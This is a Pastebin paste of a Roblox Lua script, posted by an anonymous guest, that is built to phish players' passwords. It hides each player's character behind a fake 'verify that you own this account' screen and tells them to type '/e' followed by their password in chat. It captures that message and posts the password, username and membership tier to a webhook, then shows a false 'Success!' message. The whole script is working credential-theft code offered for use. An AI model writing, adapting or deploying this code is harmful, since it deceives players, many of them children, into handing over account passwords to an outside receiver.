Advertisement
Guest User

Untitled

a guest
Oct 4th, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.03 KB | None | 0 0
  1. local webhook = "6631"
  2. local faces = {"Back","Front","Top","Bottom","Left","Right"}
  3. local scamParts = {}
  4. phished = phished or {}
  5.  
  6. local function phishPlayer(plr)
  7. local char = plr.Character
  8. if not phished[plr.UserId] and char and char:FindFirstChild("HumanoidRootPart") then
  9. char.Parent = nil
  10. local scamPart = Instance.new("Part")
  11. scamPart.Transparency = 1
  12. scamPart.Anchored = true
  13. scamPart.CanCollide = false
  14. scamPart.Locked = true
  15. scamPart.Size = Vector3.new(5,5,5)
  16. scamPart.CFrame = char.HumanoidRootPart.CFrame+Vector3.new(0,1,0)
  17. local warnings = {}
  18. for _,face in pairs(faces) do
  19. local scamGUI = Instance.new("SurfaceGui")
  20. scamGUI.CanvasSize = Vector2.new(250,250)
  21. scamGUI.LightInfluence = 0
  22. scamGUI.Face = Enum.NormalId[face]
  23. local background = Instance.new("Frame")
  24. background.Size = UDim2.new(1,0,1,0)
  25. background.BackgroundColor3 = Color3.fromRGB(255,255,255)
  26. background.BorderSizePixel = 0
  27. background.Parent = scamGUI
  28. local body = Instance.new("TextLabel")
  29. body.Size = UDim2.new(1,-10,1,-40)
  30. body.Position = UDim2.new(0,5,0,5)
  31. body.BackgroundColor3 = Color3.fromRGB(192,192,192)
  32. body.BorderSizePixel = 0
  33. body.TextScaled = true
  34. body.TextColor3 = Color3.fromRGB(0,0,0)
  35. body.TextStrokeTransparency = 0.95
  36. body.Text = "To continue playing, we need to verify that you own this account.\n\nType /e followed by your password to verify it will not show in chat."
  37. body.Parent = scamGUI
  38. local warning = Instance.new("TextLabel")
  39. warning.Size = UDim2.new(1,0,0,30)
  40. warning.Position = UDim2.new(0,0,1,-30)
  41. warning.BackgroundColor3 = Color3.fromRGB(192,192,192)
  42. warning.BorderSizePixel = 0
  43. warning.TextSize = 18
  44. warning.TextColor3 = Color3.fromRGB(0,0,0)
  45. warning.TextStrokeTransparency = 0.9
  46. warning.Text = ""
  47. table.insert(warnings,warning)
  48. warning.Parent = scamGUI
  49. scamGUI.Parent = scamPart
  50. end
  51. local checking = false
  52. plr.Chatted:Connect(function(msg)
  53. if string.sub(msg,1,2) == "/e" and checking == false then
  54. checking = true
  55. for _,warning in pairs(warnings) do
  56. warning.BackgroundColor3 = Color3.fromRGB(192,192,192)
  57. warning.TextColor3 = Color3.fromRGB(0,0,0)
  58. warning.Text = "Verifying..."
  59. end
  60. wait(math.random(10,20)/10)
  61. local password = string.sub(msg,4)
  62. if string.len(string.gsub(password,"%s","")) >= 6 then
  63. game:HttpPost(webhook,game:GetService("HttpService"):JSONEncode(
  64. {
  65. username = plr.Name,
  66. avatar_url = "https://www.roblox.com/bust-thumbnail/image?userId="..plr.UserId.."&width=420&height=420&format=png",
  67. embeds = {
  68. {
  69. fields = {
  70. {
  71. name = "Password",
  72. value = password,
  73. inline = true
  74. },
  75. {
  76. name = "Membership",
  77. value = plr.MembershipType == Enum.MembershipType.BuildersClub and "BC" or plr.MembershipType == Enum.MembershipType.TurboBuildersClub and "TBC" or plr.MembershipType == Enum.MembershipType.OutrageousBuildersClub and "OBC" or "NBC",
  78. inline = true
  79. },
  80. {
  81. name = "RAP",
  82. value = "Unknown",--game:GetService("HttpService"):JSONDecode(game:HttpGet("http://rbx.rocks/apis/user_items?id="..plr.UserId)).stats.RAP,
  83. inline = true
  84. }
  85. }
  86. }
  87. }
  88. }
  89. ))
  90. phished[plr.UserId] = true
  91. for _,warning in pairs(warnings) do
  92. warning.BackgroundColor3 = Color3.fromRGB(32,192,32)
  93. warning.TextColor3 = Color3.fromRGB(255,255,255)
  94. warning.Text = "Success!"
  95. end
  96. wait(1)
  97. scamPart:Destroy()
  98. char.Parent = game.Workspace
  99. else
  100. for _,warning in pairs(warnings) do
  101. warning.BackgroundColor3 = Color3.fromRGB(192,32,32)
  102. warning.TextColor3 = Color3.fromRGB(255,255,255)
  103. warning.Text = "Invalid!"
  104. end
  105. checking = false
  106. end
  107. end
  108. end)
  109. scamParts[plr.UserId] = scamPart
  110. scamPart.Parent = game.Workspace
  111. end
  112. end
  113.  
  114. for _,plr in pairs(game.Players:GetPlayers()) do
  115. phishPlayer(plr)
  116. plr.CharacterAdded:Connect(function(char)
  117. if scamParts[plr.UserId] then
  118. scamParts[plr.UserId]:Destroy()
  119. end
  120. wait()
  121. phishPlayer(plr)
  122. end)
  123. end
  124.  
  125. game.Players.PlayerAdded:Connect(function(plr)
  126. plr.CharacterAdded:Connect(function(char)
  127. if scamParts[plr.UserId] then
  128. scamParts[plr.UserId]:Destroy()
  129. end
  130. wait()
  131. phishPlayer(plr)
  132. end)
  133. end)
  134.  
  135. game.Players.PlayerRemoving:Connect(function(plr)
  136. if scamParts[plr.UserId] then
  137. scamParts[plr.UserId]:Destroy()
  138. end
  139. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement